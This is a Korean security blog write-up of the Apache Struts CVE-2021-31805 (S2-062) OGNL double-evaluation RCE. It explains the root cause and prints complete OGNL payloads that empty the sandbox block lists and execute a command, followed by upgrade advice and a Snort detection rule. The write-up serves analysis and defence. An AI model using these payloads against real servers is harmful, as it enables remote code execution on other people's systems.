( 1 ) 취약점 정의
해당 취약점은 CVE-2021-31805 취약점(또는 S2-062)으로 명명되었으며 영향 받는 Apache Struts 2.0.0 ~ 2.5.29 버전에서 개발자가 %{...} 구문을 사용하여 강제 OGNL 평가를 적용할 경우 여전히 일부 태그 속성이 이중 평가를 수행할 수 있어 입력값 검증 없이 악의적인 OGNL 평가 입력이 가능한 원격코드 실행 취약점임.
CVE-2020-17530 취약점(또는 S2-061)의 수정 사항이 불완전하여 발생하였으며 CVE-2020-17530 취약점(또는 S2-061)을 우회하여 가능한 취약점임.
현재 Apache 사에서 2022년 04월 12일자로 보안 권고를 발표하였으며 그에 따른 패치 파일로 제공함.
Apache 사 보안 권고 링크 :
https://cwiki.apache.org/confluence/display/WW/S2-062
※ Apache Struts 는 Java EE 웹 어플리케이션 개발을 위한 오프소스 웹 어플리케이션 프레임워크임.
또한, OGNL(객체 그래프 탐색 언어)은 Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어임.
OGNL 참고 사이트 :
https://struts.apache.org/tag-developers/ognl
영향 받는 버전
Apache Struts 2.0.0 ~ 2.5.29
( 2 ) 취약점 분석
CVE-2021-31805 취약점(또는 S2-062)을 이해할려면 먼저 CVE-2020-17530 취약점(또는 S2-061)을 이해해야 함.
1. 핵심 개념
Struts2 제품은 .jsp 요소의 다양한 속성에 대해 OGNL 평가를 수행함.
개발자는 해당 페이지를 동적으로 만들고 URL 매개변수를 가져오기 위해 "%{}" 구문으로 속성값을 정의함.
예를 들어 url 매개변수 'skillName' 을 페이지에 전달하려면 다음을 수행함.
https://<도메인>/?skillName=abctest
<s:url action="list"
namespace="/employee" var="url"> <s:a href="%{url}"
id="%{skillName}">List available Employees</s:a> </s:url> |
백엔드 플랫폼의 코드는 GET 매개변수에 의해 전달된 입력을 검색하기 위해 단일 OGNL 평가를 수행함. 또는 적어도 그것이 작동하는 방식임.
그러나 해당 사용자 정의값이 OGNL 평가를 두 번 수행하면 취약점이 존재함.
2. CVE-2020-17530 취약점(또는 S2-061) 정보
CVE-2020-17530 취약점(또는 S2-061)에서는 아래와 유사하게 jsp 에 정의된 <a> 태그(또는 앵커 태그)를 사용하여 idVal=%{3*3} 값을 전달하면 입력에 이중 OGNL 평가가 수행되어 id="9" 가 됨.
CVE-2020-17530 취약점(또는 S2-061) 패치 링크 :
https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e
//example <s:a id="%{idVal}"/> //result <s:a id="9"/> |
아래와 같이 CVE-2020-17530 취약점(또는 S2-061) 패치 내용이며 UIBean 클래스를 중심으로 수정함.
두 개의 OGNL 평가 중 하나가 setId 함수 중에 발생함.
findString(id) 을 호출하고 name 매개변수에 "%{" 또는 "}" 가 포함된 경우 OGNL 이 평가하지 않도록 재귀 검사가 추가됨.
3. CVE-2021-31805 취약점(또는 S2-062) 기초
아래 재귀 검사에서 로컬 변수 "name" 에 대해 completeExpressionIfAltSyntax 를 호출하고 expr 에 할당했지만 궁극적으로 OGNL 이 로컬 변수 "expr" 을 평가하기 전에 로컬 변수 "name" 에 대해 재귀 검사를 수행함.
이것은 좋지만 지역 변수 "name" 에 대한 두 번째 OGNL 평가가 없으면 name 은 URL 매개변수에서 사용자가 제공한 데이터를 포함하지 않음.
그러나 결과적으로 664 번째 줄 주위에 evaluateParams 함수에서 이전에 수행된 또 다른 OGNL 평가가 있음.
이는 일부 UIBean 태그의 경우 name 속성이 원격코드 실행으로 이어질 수 있는 매개변수 값을 포함하지 않는 경우 이중 OGNL 평가에 취약하다는 것을 의미함.
4. 기본 취약 요소에 대한 개념 증명(PoC)
<s:textfield
label="test1" name="%{skillName}"/> <!-- or --> <s:label id="test2"
name="%{skillName}" /> |
https://<domain>/?skillName=3*3 ---> 3*3 = 9 로 평가됨
흥미로운 점은 일부 요소의 경우 name 값이 평가되지만 결과에는 반환되지 않는다는 것임.
따라서 <s:label...> 의 경우 OGNL 평가 name 값을 반환하지 않음.
이것은 값이 평가되지 않았음을 의미하지 않음.
< 백엔드에서 표현식을 평가하지 않았다는 의미는 아님 >
< expr 에서 findValue 가 호출되기 전 >
< expr 에서 findValue 가 호출된 후 >
5. 업그레이드된 개념 증명(PoC)
Struts 의 OGNL 샌드박스에서 벗어나지 못함.
Struts2 는 제외된 클래스와 패키지를 struts-default.xml 파일에 정의함.
이들은 2.5.26 버전에서 차단 목록에 추가된 패키지임.
이러한 모든 클래스/패키지 제한 외에도 OGNL 샌드박스 규칙에는 다음이 포함됨.
- 정적 메소드를 호출할 수 없음
- Reflection 사용할 수 없음
- 새 개체()를 생성할 수 없음
블랙리스트를 벗어난 후에도 런타임을 직접 호출할 수 없음.
이 샌드박스가 반복될 때마다 지속적으로 보안이 강화되고 가능한 RCE 악용의 대규모 환경이 줄어들기 때문에 이는 상황을 매우 어렵게 만듬.
그러나 아직 악용할 수 있는 가능성이 있음.
CVE-2021-31805 취약점(또는 S2-062)에 대한 PoC 를 검색하면 아마도 다음과 같은 같은 결과가 나올 것임.
%{ (#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
+ (#application.map.setBean(#request.get('struts.valueStack'))
== true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
+ (#application.map2.setBean(#application.get('map').get('context'))
== true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)
+ (#application.map3.setBean(#application.get('map2').get('memberAccess'))
== true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))
== true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))
== true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) } |
이는 다음을 효과적으로 평가함.
// beanmap map 에 값 스택(valuestack) 을 배치함 application.map =
org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap'); application.map.setBean(#request.get('struts.valueStack'));
// valuestack 에서 컨텍스트 변수(context variable)를 가자와 beanmap map2 에
배치함 application.map2 =
org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap'); application.map2.setBean(#application.get('map').get('context'));
// 컨텍스트 변수에서
memberaccess 변수를 가져와 beanmap map3 에 배치함 application.map3 =
org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap'); application.map3.setBean(#application.get('map2').get('memberAccess'));
// 그 자리에 빈 목록을 만들어 memberaccess 에서 찾은 차단 목록을 지움 application.get('map3').put(excludedPackageNames',
new HashSet()); application.get('map3').put(excludedClasses',
new HashSet());
// 샌드박스 제한을 벗어나 이제 calc.exe 를 실행함 application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})); |
OGNL 이 Struts2 에서 평가될 때 컨텍스트에 개체에 매핑되는 몇 가지 미리 정의된 값 매핑이 있음.
이들 중 일부는 예를 들어 '#application', '#request', '#attr' 를 포함함.
따라서 %{#application.toString()} 을 호출하면 해당 개체와 해당 toString 함수를 호출하는 것임.
#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')
BeanMap 을 생성한 후 해당 setBean 을 사용하고 excludePackageNames 및 excludeClasses를 지우는 기능을 넣어 샌드박스 제한을 무효화함.
그러나 이는 새로운 샌드박스 제한으로 인해 org.apache.tomcat 사용이 차단됨.
6. 샌드박스 제한 우회 기법
Maps 섹션에서 자신의 클래스의 지도를 만들 수 있다는 것을 알게 됨.
https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"} 해당 URL 에 LinkedHashMap 개체를 만들고 "foo":"value" 로 채움.
또는 BeanMap 객체를 생성할 수 있음.
따라서 BeanMap 을 가져오는 이전 방법은 다음과 같음.
#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap') |
이제 간단히 다음을 사용하여 수행할 수 있음.
#@org.apache.commons.collections.BeanMap@{} |
org.apache.commons.collections.BeanMap 사용에 대한 샌드박스 제한 사항이 없으므로 특수 OGNL 구문을 사용하여 직접 생성하면 이전의 모든 샌드박스 제한 사항을 우회할 수 있음.
이 개념을 적용하고 "%{" "}" 를 이전 POC 에 제거하면 calc.exe를 실행하는 새로운 전체 RCE 가 다음과 같이 됨.
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
+ (#request.map.setBean(#request.get('struts.valueStack'))
== true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
+ (#request.map2.setBean(#request.get('map').get('context'))
== true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
+ (#request.map3.setBean(#request.get('map2').get('memberAccess'))
== true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())
== true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())
== true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) |
< PoC 화면 >
( 3 ) 취약점 방어
1. 최신 버전으로 업그레이드함.
Apache Struts 2.5.30 버전 업그레이드
2. 아래와 같이 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.
아래 패턴은 POST 방식의 요청 데이터에 (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) 문자열을 PCRE 로 탐지함.
alert tcp any any -> any any (msg:"KOROMOON_S2-062_Vulnerability_Detected"; content:"POST "; depth:5; content:"|20|HTTP/"; pcre:"/(%28|\()(%23|#)request(%2e|\.)map(%3d|=)(%23|#)(%40|@)org(%2e|\.)apache(%2e|\.)commons(%2e|\.)collections(%2e|\.)BeanMap(%40|@)(%7b|\{)(%7d|\})(%29|\))(%2e|\.)toString(%28|\()(%29|\))(%2e|\.)substring(%28|\()0,0(%29|\))/i";)
참고 사이트 :
https://cwiki.apache.org/confluence/display/WW/S2-062
https://nvd.nist.gov/vuln/detail/CVE-2021-31805
https://securityaffairs.co/wordpress/130173/security/critical-apache-struts-rce-flaw.html
https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
https://www.twitter.com/Y4er_ChaBug/status/1514531017264037894
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-31805
댓글 없음:
댓글 쓰기